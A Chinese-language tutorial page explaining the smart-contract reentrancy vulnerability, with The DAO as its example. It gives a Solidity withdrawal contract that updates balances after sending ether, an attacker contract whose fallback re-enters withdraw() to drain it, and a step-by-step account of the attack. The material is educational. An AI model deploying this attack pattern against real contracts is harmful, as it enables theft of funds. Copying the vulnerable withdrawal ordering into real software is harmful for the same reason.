说说重入漏洞

什么是重入漏洞?

简单来说,重入漏洞发生在以下情况: 一个智能合约在调用外部合约或地址(如通过callsendtransfer发送以太币)之后,未及时更新内部状态

当外部合约或地址接收到以太币时,它可以执行一个回退函数(Fallback Function)。如果这个回退函数中又包含一个对原始合约的调用,那么它就可以在原始合约的状态(比如余额记录)更新之前,再次执行之前的函数,形成一个无限循环,直到合约中的以太币被取光

重入漏洞的经典案例:The DAO

最具代表性的重入漏洞攻击是发生在 2016 年的 The DAO 事件。当时,黑客利用这个漏洞从 The DAO 智能合约中盗取了价值超过 6000 万美元的以太币。这次攻击导致了以太坊社区的巨大分歧,最终促成了以太坊(ETH)和以太坊经典(ETC)的分叉

重入漏洞的工作原理

我们以一个简单的取款合约为例来详细解释这个过程:

存在漏洞的合约代码

contract VulnerableContract {
    mapping(address => uint256) public balances;

    function withdraw() public {
        // 步骤 1: 检查用户余额
        uint256 amount = balances[msg.sender];

        // 步骤 2: 将以太币发送给用户
        // 这是一个危险的操作,因为`call`会触发接收方的回退函数
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed.");

        // 步骤 3: 更新用户余额
        // 这步在外部调用之后,是漏洞的关键
        balances[msg.sender] = 0;
    }

    // 其他函数...
}

黑客合约代码

contract Attacker {
    VulnerableContract vulnerableContract;

    constructor(address _vulnerableContract) {
        vulnerableContract = VulnerableContract(_vulnerableContract);
    }

    // 步骤 1: 首次调用受害合约的提款函数
    function attack() public payable {
        vulnerableContract.withdraw();
    }

    // 步骤 2: 回退函数,当接收到以太币时被触发
    fallback() external payable {
        // 如果受害合约的余额大于 0,再次调用它的提款函数
        if (address(vulnerableContract).balance > 0) {
            vulnerableContract.withdraw();
        }
    }
}

攻击流程解析:

  1. 准备:黑客向 VulnerableContract 存入少量以太币,以获得一个非零的余额
  2. 首次调用:黑客通过 Attacker 合约调用 VulnerableContractwithdraw() 函数
  3. 漏洞触发
    • VulnerableContract 检查黑客余额,然后向 Attacker 合约发送以太币
    • Attacker 合约接收到以太币后,其 fallback 函数被立即触发
    • fallback 函数中,黑客再次调用 VulnerableContractwithdraw() 函数
  4. 递归循环
    • 由于 VulnerableContractbalances[msg.sender] = 0 这一行代码尚未执行VulnerableContract 以为黑客的余额仍然存在
    • withdraw() 函数再次执行,又一次向 Attacker 合约发送以太币,再次触发 fallback 函数
  5. 耗尽资金:这个过程会反复进行,直到 VulnerableContract 中的所有以太币被耗尽
Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:13:12

results matching ""

    No results matching ""